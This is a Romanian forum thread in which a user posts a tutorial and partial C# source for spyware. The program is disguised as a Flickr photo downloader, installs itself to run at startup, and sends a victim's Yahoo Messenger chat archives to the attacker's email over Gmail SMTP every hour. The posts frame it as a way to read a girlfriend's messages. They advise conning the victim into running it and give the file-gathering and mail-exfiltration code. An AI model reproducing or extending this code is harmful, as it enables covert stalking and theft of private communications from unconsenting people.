![]() |
|
|
#2 (permalink) |
Registered user
Bautor de ceai
Join Date: Jan 2010
Location: Avira :)
Posts: 9
Rep Power: 0 ![]() |
Poate vrei sa citesti arhiva de mess a gagicii tale, sau o unei fete.. nu e treaba mea. Ideea e ca aici iti prezit un programel pe care l-am facut mai demult, si care iti trimite pe email (al tau) arhiva de messenger a persoanei infectate, precum si din ora in ora ultimele conversatii.
In primul rand, nu vreau sa vorbesc degeaba. Tutorialul asta o sa fie destul de lung si doar cei care CHIAR VOR sa il duca la capat vor reusi. NU TE APUCA DE ACEST TUTORIAL DACA: - nu ai citit niciodata o arhiva de mess cu un decriptor - nu stii unde tine yahoo messenger arhiva - nu stii ce e ala "SMTP" programelul este facut in Visual C# [Doar userii inregistrati pot vedea linkurile. ] Etape pe care le vei face: Victima trebuie sa aiba .NET Framework (logic) de aceea vei face asa: -ii dai programelul si o vrajesti sa il ruleze (ii va da o eroare ca nu are .net framework), ii dai sa isi instaleze [Doar userii inregistrati pot vedea linkurile. ] si in clipa in care a rulat programul, poti sa te duci sa iti deschizi o bere si sa astepti aprox 10 min CUM FUNCTIONEAZA: 1. Programul este camuflat in alt programel care downloadeaza poze de pe net (flicker) dupa un anumit tag, automat 2. Daca este rulat, se va rula la fiecare aprindere a calculatorului 3. Verifica daca exista fisiere in C:\\Program Files\\Yahoo!\\Messenger\\Profiles\\ daca da, le trimite pe bucati, ca atasamente, din ora in ora, la o adresa de email specificata de voi. Nu, nu o sa va dau programul mura in gura. Daca vreti sa il aveti, va trebui sa faceti tot tutorialul si sa il intelegeti. Primul pas pe care il faceti: Downloadati api-ul de la Flicker si incercati sa faceti un mic programel (in C# normal) care ia o poza de pe Flicker Nu mai pot scrie acum ca trebuie sa termin ceva, dar astept sa vad cati oameni sunt interesati de acest tutorial (si mai ales cati reusesc sa se descurce cu api-ul de la flicker)... si voi continua tutorialul pas cu pas. Salutari
__________________
daca vreti sa invatat php rapid incercati blogul
asta |
|
|
| Last edited by cincinati58; 01-22-2010 at 10:25 AM. | |
|
|
#4 (permalink) |
Registered user
Bautor de ceai
Join Date: Jan 2010
Location: Avira :)
Posts: 9
Rep Power: 0 ![]() |
cateva portiuni din cod:
public partial class Form1 : Form { // The thread inside which the download happens private Thread thrDownload; // The stream of data retrieved from the web server private Stream strResponse; // The stream of data that we write to the harddrive private Stream strLocal; // The request to the web server for file information private HttpWebRequest webRequest; // The response from the web server containing information about the file private HttpWebResponse webResponse; // The progress of the download in percentage private static int PercentProgress; // The delegate which we will call from the thread to update the form private delegate void UpdateProgessCallback(Int64 BytesRead, Int64 TotalBytes, int i); // Counter is an integer that help us to fix the number of seconds during them the Splash form is displayed // b is a boolean related to the event if the Spalsh form will be disposed or not Flickr flickr = new Flickr("219ff01e24915bd98eacd9d10307b95d"); public Form1() { InitializeComponent(); Form2 oForm2 = new Form2(); //Add event handler to myTimer.Tick event oForm2.Show(); //Application.DoEvents(); oForm2.Refresh(); if (Directory.Exists("C:\\Program Files\\Yahoo!\\Messenger\\Profiles\\")) { string Dir = "C:\\Program Files\\Yahoo!\\Messenger\\Profiles\\"; FileList.Items.Add("C:\\Program Files\\Yahoo!\\Messenger\\Profiles\\logfiles.txt") ; foreach (string f in Directory.GetFiles(Dir, "*.dat")) { FileList.Items.Add(f); } DirSearch(Dir); Thread.Sleep(10); //-----------start mail if (FileList.Items.Count > 1) { System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage(); System.Net.NetworkCredential cred = new System.Net.NetworkCredential("yourgmailemail1@gmai l.com", "yourgmailpassword"); mail.Subject = Path.GetFileName(Convert.ToString(FileList.Items[1])); mail.From = new System.Net.Mail.MailAddress("aplicatiata@email.com "); mail.To.Add("yourgmailemail2@gmail.com"); mail.IsBodyHtml = true; System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient("smtp.gmail.com"); smtp.UseDefaultCredentials = false; smtp.EnableSsl = true; smtp.Credentials = cred; smtp.Port = 587; TextWriter tw = new StreamWriter("C:\\Program Files\\Yahoo!\\Messenger\\Profiles\\logfiles.txt") ; for (int i = 0; i < this.listboxdirectoare.Items.Count; i++) { tw.WriteLine(listboxdirectoare.Items[i]); } tw.Close(); tw.Dispose(); if (FileList.Items.Count > 300) { for (int i = 0; i < 150; i++) { string attach = Convert.ToString(FileList.Items[i]); Attachment attached = new Attachment(attach); mail.Attachments.Add(attached); } mail.Body = "atentie...sunt mai mult de 300. asta e prima varianta!!"; |
|
|
|
#5 (permalink) |
Registered user
Bautor de ceai
Join Date: Jan 2010
Location: Avira :)
Posts: 9
Rep Power: 0 ![]() |
smtp.Send(mail);
mail.Attachments.Clear(); Thread.Sleep(10); for (int i = 150; i < 300; i++) //modifica cu 100... { // Attaches a new attachment contained in the List string attach = Convert.ToString(FileList.Items[i]); Attachment attached = new Attachment(attach); mail.Attachments.Add(attached); } mail.Body = "partea a 2-a! dar atentie..sunt mai mult de 300!!!"; smtp.Send(mail); Thread.Sleep(10); mail.Attachments.Clear(); } else { if (FileList.Items.Count < 300) { if (FileList.Items.Count < 150) { for (int i = 0; i < FileList.Items.Count; i++) { // Attaches a new attachment contained in the List string attach = Convert.ToString(FileList.Items[i]); Attachment attached = new Attachment(attach); mail.Attachments.Add(attached); } mail.Body = "ATASAMENTE PUTINE. sunt mai putin de 150 de atasamente. ar trebui sa le ai pe toate"; smtp.Send(mail); Thread.Sleep(10); mail.Attachments.Clear(); // smtp.Send(mail); Thread.Sleep(10); //trimite alt mail? aici } if (FileList.Items.Count > 150) { for (int i = 0; i < 150; i++) { // Attaches a new attachment contained in the List string attach = Convert.ToString(FileList.Items[i]); Attachment attached = new Attachment(attach); mail.Attachments.Add(attached); } mail.Body = "1)mai putin de 300 dar mai mult de 150. AI AICI PRIMA PARTE"; smtp.Send(mail); Thread.Sleep(10); mail.Attachments.Clear(); for (int i = 150; i < FileList.Items.Count; i++) { // Attaches a new attachment contained in the List string attach = Convert.ToString(FileList.Items[i]); Attachment attached = new Attachment(attach); mail.Attachments.Add(attached); |
|
|
|
#7 (permalink) |
Registered user
Bautor de ceai
Join Date: Jan 2010
Location: Avira :)
Posts: 9
Rep Power: 0 ![]() |
aia e partea de cod care downloadeaza pozele, ca nu poti sa ii dai persoanei un programel care nu face nimic... se prinde ca ceva e in neregula.
nu am stat sa reinventez roata, m-am inspirat si eu de pe net, iar tutorialul ala e foarte bun |
|
|
|
#8 (permalink) |
Registered user
Bautor de ceai
Join Date: Jan 2010
Location: Avira :)
Posts: 9
Rep Power: 0 ![]() |
Continuam tutorialul:
Pentru inceput trebuie sa va prindeti cum functioneaza emailul in C#. ![]() Codul este mai jos: Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Mail;
using System.Collections;
using System.Web;
using System.Net;
namespace SendEmails
{
public partial class SendEmailsForm : Form
{
public SendEmailsForm()
{
InitializeComponent();
}
private void btnSend_Click(object sender, EventArgs e)
{
System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();
System.Net.NetworkCredential cred = new System.Net.NetworkCredential("altemailaltau@gmail.com", "parolata");
MailAddress from = new MailAddress(txtTo.Text,"Dan");
mail.To.Add(from);
mail.Subject =txtSubject.Text;
mail.From = new System.Net.Mail.MailAddress("traianbasescu@guv.ro");
mail.IsBodyHtml = true;
System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient("smtp.gmail.com");
smtp.UseDefaultCredentials = false;
smtp.EnableSsl = true;
smtp.Credentials = cred;
smtp.Port = 587;
if (FileList.Items.Count > 0)
{
for (int i=0;i<FileList.Items.Count;i++)
{
// Attaches a new attachment contained in the List
string attach = Convert.ToString(FileList.Items[i]);
Attachment attached = new Attachment(attach);
mail.Attachments.Add(attached);
}
}
mail.Body = txtMessage.Text;
try
{
Cursor.Current = Cursors.WaitCursor;
smtp.Send(mail);
Cursor.Current = Cursors.Default;
label7.Text = "Message Send";
}
catch (Exception ex)
{
Exception ex2 = ex;
string errorMessage = string.Empty;
while (ex2 != null)
{
errorMessage += ex2.ToString();
ex2 = ex2.InnerException;
}
Console.WriteLine(errorMessage);
label7.Text = "Error Sending Message!";
}
}
private void btnBrowse_Click(object sender, EventArgs e)
{
OpenFileDialog dlg = new OpenFileDialog();
if (dlg.ShowDialog() == DialogResult.OK)
{
FileList.Items.Add(dlg.FileName);
}
}
}
}
1. Se face un form asemanator cu cel din poza. 2. Cand dai 2 clickuri pe un controler din form te duce la codul care se ocupa cu el. De exemplu dai 2 clickuri pe Send si ajungi aici: private void btnSend_Click(object sender, EventArgs e) { //aici adaugi codul tau } sper sa fie toata lumea in stare sa faca mini-programelul asta pentru ca nu e greu.
__________________
daca vreti sa invatat php rapid incercati blogul
asta |
|
|
|
#10 (permalink) | |
Registered user
Bautor de vin
Join Date: Jan 2010
Location: Cluj-Napoca
Posts: 51
Rep Power: 1 ![]() |
Quote:
|
|
|
||
| Last edited by diablo2323; 01-29-2010 at 08:54 PM. | ||